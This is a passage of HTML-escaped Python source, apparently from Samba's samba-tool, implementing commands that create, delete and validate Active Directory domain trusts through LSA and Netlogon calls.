               default=True),
        Option(&quot;--skip-validation&quot;, action=&quot;store_false&quot;,
               help=&quot;Skip validation of the trust.&quot;,
               dest='validate',
               default=True),
    ]

    takes_args = [&quot;domain&quot;]

    def run(self, domain, sambaopts=None, localdcopts=None, credopts=None, versionopts=None,
            trust_type=None, trust_direction=None, create_location=None,
            cross_organisation=False, quarantined_arg=None,
            not_transitive=False, treat_as_external=False,
            use_aes_keys=False, validate=True):

        lsaString = lsa.String()

        quarantined = False
        if quarantined_arg is None:
            if trust_type == 'external':
                quarantined = True
        elif quarantined_arg == 'yes':
            quarantined = True

        if trust_type != 'forest':
            if not_transitive:
                raise CommandError(&quot;--not-transitive requires --type=forest&quot;)
            if treat_as_external:
                raise CommandError(&quot;--treat-as-external requires --type=forest&quot;)

        enc_types = lsa.TrustDomainInfoSupportedEncTypes()
        if use_aes_keys:
            enc_types.enc_types = security.KERB_ENCTYPE_AES128_CTS_HMAC_SHA1_96
            enc_types.enc_types |= security.KERB_ENCTYPE_AES256_CTS_HMAC_SHA1_96
        else:
            # CVE-2022-37966: Trust objects are no longer assumed to support
            # RC4, so we must indicate support explicitly.
            enc_types.enc_types = security.KERB_ENCTYPE_RC4_HMAC_MD5

        local_policy_access = lsa.LSA_POLICY_VIEW_LOCAL_INFORMATION
        local_policy_access |= lsa.LSA_POLICY_TRUST_ADMIN
        local_policy_access |= lsa.LSA_POLICY_CREATE_SECRET

        local_trust_info = lsa.TrustDomainInfoInfoEx()
        local_trust_info.trust_type = lsa.LSA_TRUST_TYPE_UPLEVEL
        local_trust_info.trust_direction = 0
        if trust_direction == &quot;both&quot;:
            local_trust_info.trust_direction |= lsa.LSA_TRUST_DIRECTION_INBOUND
            local_trust_info.trust_direction |= lsa.LSA_TRUST_DIRECTION_OUTBOUND
        elif trust_direction == &quot;incoming&quot;:
            local_trust_info.trust_direction |= lsa.LSA_TRUST_DIRECTION_INBOUND
        elif trust_direction == &quot;outgoing&quot;:
            local_trust_info.trust_direction |= lsa.LSA_TRUST_DIRECTION_OUTBOUND
        local_trust_info.trust_attributes = 0
        if cross_organisation:
            local_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_CROSS_ORGANIZATION
        if quarantined:
            local_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_QUARANTINED_DOMAIN
        if trust_type == &quot;forest&quot;:
            local_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE
        if not_transitive:
            local_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_NON_TRANSITIVE
        if treat_as_external:
            local_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL

        def get_password(name):
            password = None
            while True:
                if password is not None and password != '':
                    return password
                password = getpass(&quot;New %s Password: &quot; % name)
                passwordverify = getpass(&quot;Retype %s Password: &quot; % name)
                if not password == passwordverify:
                    password = None
                    self.outf.write(&quot;Sorry, passwords do not match.\n&quot;)

        incoming_secret = None
        outgoing_secret = None
        remote_policy_access = lsa.LSA_POLICY_VIEW_LOCAL_INFORMATION
        if create_location == &quot;local&quot;:
            if local_trust_info.trust_direction &amp; lsa.LSA_TRUST_DIRECTION_INBOUND:
                incoming_password = get_password(&quot;Incoming Trust&quot;)
                incoming_secret = string_to_byte_array(incoming_password.encode('utf-16-le'))
            if local_trust_info.trust_direction &amp; lsa.LSA_TRUST_DIRECTION_OUTBOUND:
                outgoing_password = get_password(&quot;Outgoing Trust&quot;)
                outgoing_secret = string_to_byte_array(outgoing_password.encode('utf-16-le'))

            remote_trust_info = None
        else:
            # We use 240 random bytes.
            # Windows uses 28 or 240 random bytes. I guess it's
            # based on the trust type external vs. forest.
            #
            # The initial trust password can be up to 512 bytes
            # while the versioned passwords used for periodic updates
            # can only be up to 498 bytes, as netr_ServerPasswordSet2()
            # needs to pass the NL_PASSWORD_VERSION structure within the
            # 512 bytes and a 2 bytes confounder is required.
            #
            def random_trust_secret(length):
                pw = samba.generate_random_machine_password(length // 2, length // 2)
                return string_to_byte_array(pw.encode('utf-16-le'))

            if local_trust_info.trust_direction &amp; lsa.LSA_TRUST_DIRECTION_INBOUND:
                incoming_secret = random_trust_secret(240)
            if local_trust_info.trust_direction &amp; lsa.LSA_TRUST_DIRECTION_OUTBOUND:
                outgoing_secret = random_trust_secret(240)

            remote_policy_access |= lsa.LSA_POLICY_TRUST_ADMIN
            remote_policy_access |= lsa.LSA_POLICY_CREATE_SECRET

            remote_trust_info = lsa.TrustDomainInfoInfoEx()
            remote_trust_info.trust_type = lsa.LSA_TRUST_TYPE_UPLEVEL
            remote_trust_info.trust_direction = 0
            if trust_direction == &quot;both&quot;:
                remote_trust_info.trust_direction |= lsa.LSA_TRUST_DIRECTION_INBOUND
                remote_trust_info.trust_direction |= lsa.LSA_TRUST_DIRECTION_OUTBOUND
            elif trust_direction == &quot;incoming&quot;:
                remote_trust_info.trust_direction |= lsa.LSA_TRUST_DIRECTION_OUTBOUND
            elif trust_direction == &quot;outgoing&quot;:
                remote_trust_info.trust_direction |= lsa.LSA_TRUST_DIRECTION_INBOUND
            remote_trust_info.trust_attributes = 0
            if cross_organisation:
                remote_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_CROSS_ORGANIZATION
            if quarantined:
                remote_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_QUARANTINED_DOMAIN
            if trust_type == &quot;forest&quot;:
                remote_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE
            if not_transitive:
                remote_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_NON_TRANSITIVE
            if treat_as_external:
                remote_trust_info.trust_attributes |= lsa.LSA_TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL

        local_server = self.setup_local_server(sambaopts, localdcopts)
        try:
            local_lsa = self.new_local_lsa_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect lsa server&quot;)

        try:
            (local_policy, local_lsa_info) = self.get_lsa_info(local_lsa, local_policy_access)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to query LSA_POLICY_INFO_DNS&quot;)

        self.outf.write(&quot;LocalDomain Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        local_lsa_info.name.string,
                        local_lsa_info.dns_domain.string,
                        local_lsa_info.sid))

        try:
            remote_server = self.setup_remote_server(credopts, domain)
        except RuntimeError as error:
            raise self.RemoteRuntimeError(self, error, &quot;failed to locate remote server&quot;)

        try:
            remote_lsa = self.new_remote_lsa_connection()
        except RuntimeError as error:
            raise self.RemoteRuntimeError(self, error, &quot;failed to connect lsa server&quot;)

        try:
            (remote_policy, remote_lsa_info) = self.get_lsa_info(remote_lsa, remote_policy_access)
        except RuntimeError as error:
            raise self.RemoteRuntimeError(self, error, &quot;failed to query LSA_POLICY_INFO_DNS&quot;)

        self.outf.write(&quot;RemoteDomain Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        remote_lsa_info.name.string,
                        remote_lsa_info.dns_domain.string,
                        remote_lsa_info.sid))

        local_trust_info.domain_name.string = remote_lsa_info.dns_domain.string
        local_trust_info.netbios_name.string = remote_lsa_info.name.string
        local_trust_info.sid = remote_lsa_info.sid

        if remote_trust_info:
            remote_trust_info.domain_name.string = local_lsa_info.dns_domain.string
            remote_trust_info.netbios_name.string = local_lsa_info.name.string
            remote_trust_info.sid = local_lsa_info.sid

        try:
            lsaString.string = local_trust_info.domain_name.string
            local_lsa.QueryTrustedDomainInfoByName(local_policy,
                                                   lsaString,
                                                   lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO)
            raise CommandError(&quot;TrustedDomain %s already exist'&quot; % lsaString.string)
        except NTSTATUSError as error:
            if not self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                raise self.LocalRuntimeError(self, error,
                                             &quot;QueryTrustedDomainInfoByName(%s, FULL_INFO) failed&quot; % (
                                                 lsaString.string))

        try:
            lsaString.string = local_trust_info.netbios_name.string
            local_lsa.QueryTrustedDomainInfoByName(local_policy,
                                                   lsaString,
                                                   lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO)
            raise CommandError(&quot;TrustedDomain %s already exist'&quot; % lsaString.string)
        except NTSTATUSError as error:
            if not self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                raise self.LocalRuntimeError(self, error,
                                             &quot;QueryTrustedDomainInfoByName(%s, FULL_INFO) failed&quot; % (
                                                 lsaString.string))

        if remote_trust_info:
            try:
                lsaString.string = remote_trust_info.domain_name.string
                remote_lsa.QueryTrustedDomainInfoByName(remote_policy,
                                                        lsaString,
                                                        lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO)
                raise CommandError(&quot;TrustedDomain %s already exist'&quot; % lsaString.string)
            except NTSTATUSError as error:
                if not self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                    raise self.RemoteRuntimeError(self, error,
                                                  &quot;QueryTrustedDomainInfoByName(%s, FULL_INFO) failed&quot; % (
                                                      lsaString.string))

            try:
                lsaString.string = remote_trust_info.netbios_name.string
                remote_lsa.QueryTrustedDomainInfoByName(remote_policy,
                                                        lsaString,
                                                        lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO)
                raise CommandError(&quot;TrustedDomain %s already exist'&quot; % lsaString.string)
            except NTSTATUSError as error:
                if not self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                    raise self.RemoteRuntimeError(self, error,
                                                  &quot;QueryTrustedDomainInfoByName(%s, FULL_INFO) failed&quot; % (
                                                      lsaString.string))

        try:
            local_netlogon = self.new_local_netlogon_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect netlogon server&quot;)

        try:
            local_netlogon_info = self.get_netlogon_dc_info(local_netlogon, local_server)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to get netlogon dc info&quot;)

        if remote_trust_info:
            try:
                remote_netlogon = self.new_remote_netlogon_connection()
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;failed to connect netlogon server&quot;)

            try:
                remote_netlogon_dc_unc = self.get_netlogon_dc_unc(remote_netlogon,
                                                                  remote_server, domain)
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;failed to get netlogon dc info&quot;)

        def generate_AuthInOutBlob(secret, update_time):
            if secret is None:
                blob = drsblobs.trustAuthInOutBlob()
                blob.count = 0

                return blob

            clear = drsblobs.AuthInfoClear()
            clear.size = len(secret)
            clear.password = secret

            info = drsblobs.AuthenticationInformation()
            info.LastUpdateTime = samba.unix2nttime(update_time)
            info.AuthType = lsa.TRUST_AUTH_TYPE_CLEAR
            info.AuthInfo = clear

            array = drsblobs.AuthenticationInformationArray()
            array.count = 1
            array.array = [info]

            blob = drsblobs.trustAuthInOutBlob()
            blob.count = 1
            blob.current = array

            return blob

        update_time = samba.current_unix_time()
        incoming_blob = generate_AuthInOutBlob(incoming_secret, update_time)
        outgoing_blob = generate_AuthInOutBlob(outgoing_secret, update_time)

        local_tdo_handle = None
        remote_tdo_handle = None

        try:
            if remote_trust_info:
                self.outf.write(&quot;Creating remote TDO.\n&quot;)
                current_request = {&quot;location&quot;: &quot;remote&quot;, &quot;name&quot;: &quot;CreateTrustedDomainEx2&quot;}
                remote_tdo_handle = CreateTrustedDomainRelax(remote_lsa,
                                                             remote_policy,
                                                             remote_trust_info,
                                                             lsa.LSA_TRUSTED_DOMAIN_ALL_ACCESS,
                                                             outgoing_blob,
                                                             incoming_blob)
                self.outf.write(&quot;Remote TDO created.\n&quot;)
                if enc_types:
                    self.outf.write(&quot;Setting supported encryption types on remote TDO.\n&quot;)
                    current_request = {&quot;location&quot;: &quot;remote&quot;, &quot;name&quot;: &quot;SetInformationTrustedDomain&quot;}
                    remote_lsa.SetInformationTrustedDomain(remote_tdo_handle,
                                                           lsa.LSA_TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES,
                                                           enc_types)

            self.outf.write(&quot;Creating local TDO.\n&quot;)
            current_request = {&quot;location&quot;: &quot;local&quot;, &quot;name&quot;: &quot;CreateTrustedDomainEx2&quot;}
            local_tdo_handle = CreateTrustedDomainRelax(local_lsa,
                                                        local_policy,
                                                        local_trust_info,
                                                        lsa.LSA_TRUSTED_DOMAIN_ALL_ACCESS,
                                                        incoming_blob,
                                                        outgoing_blob)
            self.outf.write(&quot;Local TDO created\n&quot;)
            if enc_types:
                self.outf.write(&quot;Setting supported encryption types on local TDO.\n&quot;)
                current_request = {&quot;location&quot;: &quot;local&quot;, &quot;name&quot;: &quot;SetInformationTrustedDomain&quot;}
                local_lsa.SetInformationTrustedDomain(local_tdo_handle,
                                                      lsa.LSA_TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES,
                                                      enc_types)
        except RuntimeError as error:
            self.outf.write(&quot;Error: %s failed %sly - cleaning up\n&quot; % (
                            current_request['name'], current_request['location']))
            if remote_tdo_handle:
                self.outf.write(&quot;Deleting remote TDO.\n&quot;)
                remote_lsa.DeleteObject(remote_tdo_handle)
                remote_tdo_handle = None
            if local_tdo_handle:
                self.outf.write(&quot;Deleting local TDO.\n&quot;)
                local_lsa.DeleteObject(local_tdo_handle)
                local_tdo_handle = None
            if current_request['location'] == &quot;remote&quot;:
                raise self.RemoteRuntimeError(self, error, &quot;%s&quot; % (
                                              current_request['name']))
            raise self.LocalRuntimeError(self, error, &quot;%s&quot; % (
                                         current_request['name']))

        if validate:
            if local_trust_info.trust_attributes &amp; lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE:
                self.outf.write(&quot;Setup local forest trust information...\n&quot;)
                try:
                    # get all information about the remote trust
                    # this triggers netr_GetForestTrustInformation to the remote domain
                    # and lsaRSetForestTrustInformation() locally, but new top level
                    # names are disabled by default.
                    local_forest_info = \
                        local_netlogon.netr_DsRGetForestTrustInformation(local_netlogon_info.dc_unc,
                                                                         remote_lsa_info.dns_domain.string,
                                                                         netlogon.DS_GFTI_UPDATE_TDO)
                except RuntimeError as error:
                    raise self.LocalRuntimeError(self, error, &quot;netr_DsRGetForestTrustInformation() failed&quot;)

                try:
                    # here we try to enable all top level names
                    local_forest_collision = \
                        local_lsa.lsaRSetForestTrustInformation(local_policy,
                                                                remote_lsa_info.dns_domain,
                                                                lsa.LSA_FOREST_TRUST_DOMAIN_INFO,
                                                                local_forest_info,
                                                                0)
                except RuntimeError as error:
                    raise self.LocalRuntimeError(self, error, &quot;lsaRSetForestTrustInformation() failed&quot;)

                self.write_forest_trust_info(local_forest_info,
                                             tln=remote_lsa_info.dns_domain.string,
                                             collisions=local_forest_collision)

                if remote_trust_info:
                    self.outf.write(&quot;Setup remote forest trust information...\n&quot;)
                    try:
                        # get all information about the local trust (from the perspective of the remote domain)
                        # this triggers netr_GetForestTrustInformation to our domain.
                        # and lsaRSetForestTrustInformation() remotely, but new top level
                        # names are disabled by default.
                        remote_forest_info = \
                            remote_netlogon.netr_DsRGetForestTrustInformation(remote_netlogon_dc_unc,
                                                                              local_lsa_info.dns_domain.string,
                                                                              netlogon.DS_GFTI_UPDATE_TDO)
                    except RuntimeError as error:
                        raise self.RemoteRuntimeError(self, error, &quot;netr_DsRGetForestTrustInformation() failed&quot;)

                    try:
                        # here we try to enable all top level names
                        remote_forest_collision = \
                            remote_lsa.lsaRSetForestTrustInformation(remote_policy,
                                                                     local_lsa_info.dns_domain,
                                                                     lsa.LSA_FOREST_TRUST_DOMAIN_INFO,
                                                                     remote_forest_info,
                                                                     0)
                    except RuntimeError as error:
                        raise self.RemoteRuntimeError(self, error, &quot;lsaRSetForestTrustInformation() failed&quot;)

                    self.write_forest_trust_info(remote_forest_info,
                                                 tln=local_lsa_info.dns_domain.string,
                                                 collisions=remote_forest_collision)

            if local_trust_info.trust_direction &amp; lsa.LSA_TRUST_DIRECTION_OUTBOUND:
                self.outf.write(&quot;Validating outgoing trust...\n&quot;)
                try:
                    local_trust_verify = local_netlogon.netr_LogonControl2Ex(local_netlogon_info.dc_unc,
                                                                             netlogon.NETLOGON_CONTROL_TC_VERIFY,
                                                                             2,
                                                                             remote_lsa_info.dns_domain.string)
                except RuntimeError as error:
                    raise self.LocalRuntimeError(self, error, &quot;NETLOGON_CONTROL_TC_VERIFY failed&quot;)

                local_trust_status = self._uint32(local_trust_verify.pdc_connection_status[0])
                local_conn_status = self._uint32(local_trust_verify.tc_connection_status[0])

                if local_trust_verify.flags &amp; netlogon.NETLOGON_VERIFY_STATUS_RETURNED:
                    local_validation = &quot;LocalValidation: DC[%s] CONNECTION[%s] TRUST[%s] VERIFY_STATUS_RETURNED&quot; % (
                                       local_trust_verify.trusted_dc_name,
                                       local_trust_verify.tc_connection_status[1],
                                       local_trust_verify.pdc_connection_status[1])
                else:
                    local_validation = &quot;LocalValidation: DC[%s] CONNECTION[%s] TRUST[%s]&quot; % (
                                       local_trust_verify.trusted_dc_name,
                                       local_trust_verify.tc_connection_status[1],
                                       local_trust_verify.pdc_connection_status[1])

                if local_trust_status != werror.WERR_SUCCESS or local_conn_status != werror.WERR_SUCCESS:
                    raise CommandError(local_validation)
                else:
                    self.outf.write(&quot;OK: %s\n&quot; % local_validation)

            if remote_trust_info:
                if remote_trust_info.trust_direction &amp; lsa.LSA_TRUST_DIRECTION_OUTBOUND:
                    self.outf.write(&quot;Validating incoming trust...\n&quot;)
                    try:
                        remote_trust_verify = \
                            remote_netlogon.netr_LogonControl2Ex(remote_netlogon_dc_unc,
                                                                 netlogon.NETLOGON_CONTROL_TC_VERIFY,
                                                                 2,
                                                                 local_lsa_info.dns_domain.string)
                    except RuntimeError as error:
                        raise self.RemoteRuntimeError(self, error, &quot;NETLOGON_CONTROL_TC_VERIFY failed&quot;)

                    remote_trust_status = self._uint32(remote_trust_verify.pdc_connection_status[0])
                    remote_conn_status = self._uint32(remote_trust_verify.tc_connection_status[0])

                    if remote_trust_verify.flags &amp; netlogon.NETLOGON_VERIFY_STATUS_RETURNED:
                        remote_validation = &quot;RemoteValidation: DC[%s] CONNECTION[%s] TRUST[%s] VERIFY_STATUS_RETURNED&quot; % (
                                           remote_trust_verify.trusted_dc_name,
                                           remote_trust_verify.tc_connection_status[1],
                                           remote_trust_verify.pdc_connection_status[1])
                    else:
                        remote_validation = &quot;RemoteValidation: DC[%s] CONNECTION[%s] TRUST[%s]&quot; % (
                                           remote_trust_verify.trusted_dc_name,
                                           remote_trust_verify.tc_connection_status[1],
                                           remote_trust_verify.pdc_connection_status[1])

                    if remote_trust_status != werror.WERR_SUCCESS or remote_conn_status != werror.WERR_SUCCESS:
                        raise CommandError(remote_validation)
                    else:
                        self.outf.write(&quot;OK: %s\n&quot; % remote_validation)

        if remote_tdo_handle is not None:
            try:
                remote_lsa.Close(remote_tdo_handle)
            except RuntimeError:
                pass
            remote_tdo_handle = None
        if local_tdo_handle is not None:
            try:
                local_lsa.Close(local_tdo_handle)
            except RuntimeError:
                pass
            local_tdo_handle = None

        self.outf.write(&quot;Success.\n&quot;)
        return


class cmd_domain_trust_delete(DomainTrustCommand):
    &quot;&quot;&quot;Delete a domain trust.&quot;&quot;&quot;

    synopsis = &quot;%prog DOMAIN [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;versionopts&quot;: options.VersionOptions,
        &quot;credopts&quot;: options.CredentialsOptions,
        &quot;localdcopts&quot;: LocalDCCredentialsOptions,
    }

    takes_options = [
        Option(&quot;--delete-location&quot;, type=&quot;choice&quot;, metavar=&quot;LOCATION&quot;,
               choices=[&quot;local&quot;, &quot;both&quot;],
               help=&quot;Where to delete the trusted domain object: 'local' or 'both'.&quot;,
               dest='delete_location',
               default=&quot;both&quot;),
    ]

    takes_args = [&quot;domain&quot;]

    def run(self, domain, sambaopts=None, localdcopts=None, credopts=None, versionopts=None,
            delete_location=None):

        local_policy_access = lsa.LSA_POLICY_VIEW_LOCAL_INFORMATION
        local_policy_access |= lsa.LSA_POLICY_TRUST_ADMIN
        local_policy_access |= lsa.LSA_POLICY_CREATE_SECRET

        if delete_location == &quot;local&quot;:
            remote_policy_access = None
        else:
            remote_policy_access = lsa.LSA_POLICY_VIEW_LOCAL_INFORMATION
            remote_policy_access |= lsa.LSA_POLICY_TRUST_ADMIN
            remote_policy_access |= lsa.LSA_POLICY_CREATE_SECRET

        self.setup_local_server(sambaopts, localdcopts)
        try:
            local_lsa = self.new_local_lsa_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect lsa server&quot;)

        try:
            (local_policy, local_lsa_info) = self.get_lsa_info(local_lsa, local_policy_access)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to query LSA_POLICY_INFO_DNS&quot;)

        self.outf.write(&quot;LocalDomain Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        local_lsa_info.name.string,
                        local_lsa_info.dns_domain.string,
                        local_lsa_info.sid))

        local_tdo_info = None
        local_tdo_handle = None
        remote_tdo_info = None
        remote_tdo_handle = None

        lsaString = lsa.String()
        try:
            lsaString.string = domain
            local_tdo_info = local_lsa.QueryTrustedDomainInfoByName(local_policy,
                                                                    lsaString, lsa.LSA_TRUSTED_DOMAIN_INFO_INFO_EX)
        except NTSTATUSError as error:
            if self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                raise CommandError(&quot;Failed to find trust for domain '%s'&quot; % domain)
            raise self.RemoteRuntimeError(self, error, &quot;failed to locate remote server&quot;)

        if remote_policy_access is not None:
            try:
                self.setup_remote_server(credopts, domain)
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;failed to locate remote server&quot;)

            try:
                remote_lsa = self.new_remote_lsa_connection()
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;failed to connect lsa server&quot;)

            try:
                (remote_policy, remote_lsa_info) = self.get_lsa_info(remote_lsa, remote_policy_access)
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;failed to query LSA_POLICY_INFO_DNS&quot;)

            self.outf.write(&quot;RemoteDomain Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                            remote_lsa_info.name.string,
                            remote_lsa_info.dns_domain.string,
                            remote_lsa_info.sid))

            if remote_lsa_info.sid != local_tdo_info.sid or \
               remote_lsa_info.name.string != local_tdo_info.netbios_name.string or \
               remote_lsa_info.dns_domain.string != local_tdo_info.domain_name.string:
                raise CommandError(&quot;LocalTDO inconsistent: Netbios[%s] DNS[%s] SID[%s]&quot; % (
                                   local_tdo_info.netbios_name.string,
                                   local_tdo_info.domain_name.string,
                                   local_tdo_info.sid))

            try:
                lsaString.string = local_lsa_info.dns_domain.string
                remote_tdo_info = \
                    remote_lsa.QueryTrustedDomainInfoByName(remote_policy,
                                                            lsaString,
                                                            lsa.LSA_TRUSTED_DOMAIN_INFO_INFO_EX)
            except NTSTATUSError as error:
                if not self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                    raise self.RemoteRuntimeError(self, error, &quot;QueryTrustedDomainInfoByName(%s)&quot; % (
                                                  lsaString.string))

            if remote_tdo_info is not None:
                if local_lsa_info.sid != remote_tdo_info.sid or \
                   local_lsa_info.name.string != remote_tdo_info.netbios_name.string or \
                   local_lsa_info.dns_domain.string != remote_tdo_info.domain_name.string:
                    raise CommandError(&quot;RemoteTDO inconsistent: Netbios[%s] DNS[%s] SID[%s]&quot; % (
                                       remote_tdo_info.netbios_name.string,
                                       remote_tdo_info.domain_name.string,
                                       remote_tdo_info.sid))

        if local_tdo_info is not None:
            try:
                lsaString.string = local_tdo_info.domain_name.string
                local_tdo_handle = \
                    local_lsa.OpenTrustedDomainByName(local_policy,
                                                      lsaString,
                                                      security.SEC_STD_DELETE)
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;OpenTrustedDomainByName(%s)&quot; % (
                                             lsaString.string))

            local_lsa.DeleteObject(local_tdo_handle)
            local_tdo_handle = None

        if remote_tdo_info is not None:
            try:
                lsaString.string = remote_tdo_info.domain_name.string
                remote_tdo_handle = \
                    remote_lsa.OpenTrustedDomainByName(remote_policy,
                                                       lsaString,
                                                       security.SEC_STD_DELETE)
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;OpenTrustedDomainByName(%s)&quot; % (
                                              lsaString.string))

        if remote_tdo_handle is not None:
            try:
                remote_lsa.DeleteObject(remote_tdo_handle)
                remote_tdo_handle = None
                self.outf.write(&quot;RemoteTDO deleted.\n&quot;)
            except RuntimeError as error:
                self.outf.write(&quot;%s\n&quot; % self.RemoteRuntimeError(self, error, &quot;DeleteObject() failed&quot;))

        return


class cmd_domain_trust_validate(DomainTrustCommand):
    &quot;&quot;&quot;Validate a domain trust.&quot;&quot;&quot;

    synopsis = &quot;%prog DOMAIN [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;versionopts&quot;: options.VersionOptions,
        &quot;credopts&quot;: options.CredentialsOptions,
        &quot;localdcopts&quot;: LocalDCCredentialsOptions,
    }

    takes_options = [
        Option(&quot;--validate-location&quot;, type=&quot;choice&quot;, metavar=&quot;LOCATION&quot;,
               choices=[&quot;local&quot;, &quot;both&quot;],
               help=&quot;Where to validate the trusted domain object: 'local' or 'both'.&quot;,
               dest='validate_location',
               default=&quot;both&quot;),
    ]

    takes_args = [&quot;domain&quot;]

    def run(self, domain, sambaopts=None, versionopts=None, credopts=None, localdcopts=None,
            validate_location=None):

        local_policy_access = lsa.LSA_POLICY_VIEW_LOCAL_INFORMATION

        local_server = self.setup_local_server(sambaopts, localdcopts)
        try:
            local_lsa = self.new_local_lsa_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect lsa server&quot;)

        try:
            (local_policy, local_lsa_info) = self.get_lsa_info(local_lsa, local_policy_access)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to query LSA_POLICY_INFO_DNS&quot;)

        self.outf.write(&quot;LocalDomain Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        local_lsa_info.name.string,
                        local_lsa_info.dns_domain.string,
                        local_lsa_info.sid))

        try:
            lsaString = lsa.String()
            lsaString.string = domain
            local_tdo_info = \
                local_lsa.QueryTrustedDomainInfoByName(local_policy,
                                                       lsaString,
                                                       lsa.LSA_TRUSTED_DOMAIN_INFO_INFO_EX)
        except NTSTATUSError as error:
            if self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                raise CommandError(&quot;trusted domain object does not exist for domain [%s]&quot; % domain)

            raise self.LocalRuntimeError(self, error, &quot;QueryTrustedDomainInfoByName(INFO_EX) failed&quot;)

        self.outf.write(&quot;LocalTDO Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        local_tdo_info.netbios_name.string,
                        local_tdo_info.domain_name.string,
                        local_tdo_info.sid))

        try:
            local_netlogon = self.new_local_netlogon_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect netlogon server&quot;)

        try:
            local_trust_verify = \
                local_netlogon.netr_LogonControl2Ex(local_server,
                                                    netlogon.NETLOGON_CONTROL_TC_VERIFY,
                                                    2,
                                                    local_tdo_info.domain_name.string)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;NETLOGON_CONTROL_TC_VERIFY failed&quot;)

        local_trust_status = self._uint32(local_trust_verify.pdc_connection_status[0])
        local_conn_status = self._uint32(local_trust_verify.tc_connection_status[0])

        if local_trust_verify.flags &amp; netlogon.NETLOGON_VERIFY_STATUS_RETURNED:
            local_validation = &quot;LocalValidation: DC[%s] CONNECTION[%s] TRUST[%s] VERIFY_STATUS_RETURNED&quot; % (
                               local_trust_verify.trusted_dc_name,
                               local_trust_verify.tc_connection_status[1],
                               local_trust_verify.pdc_connection_status[1])
        else:
            local_validation = &quot;LocalValidation: DC[%s] CONNECTION[%s] TRUST[%s]&quot; % (
                               local_trust_verify.trusted_dc_name,
                               local_trust_verify.tc_connection_status[1],
                               local_trust_verify.pdc_connection_status[1])

        if local_trust_status != werror.WERR_SUCCESS or local_conn_status != werror.WERR_SUCCESS:
            raise CommandError(local_validation)
        else:
            self.outf.write(&quot;OK: %s\n&quot; % local_validation)

        try:
            server = local_trust_verify.trusted_dc_name.replace('\\', '')
            domain_and_server = &quot;%s\\%s&quot; % (local_tdo_info.domain_name.string, server)
            local_trust_rediscover = \
                local_netlogon.netr_LogonControl2Ex(local_server,
                                                    netlogon.NETLOGON_CONTROL_REDISCOVER,
                                                    2,
                                                    domain_and_server)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;NETLOGON_CONTROL_REDISCOVER failed&quot;)

        local_conn_status = self._uint32(local_trust_rediscover.tc_connection_status[0])
        local_rediscover = &quot;LocalRediscover: DC[%s] CONNECTION[%s]&quot; % (
                               local_trust_rediscover.trusted_dc_name,
                               local_trust_rediscover.tc_connection_status[1])

        if local_conn_status != werror.WERR_SUCCESS:
            raise CommandError(local_rediscover)
        else:
            self.outf.write(&quot;OK: %s\n&quot; % local_rediscover)

        if validate_location != &quot;local&quot;:
            try:
                remote_server = self.setup_remote_server(credopts, domain, require_pdc=False)
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;failed to locate remote server&quot;)

            try:
                remote_netlogon = self.new_remote_netlogon_connection()
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;failed to connect netlogon server&quot;)

            try:
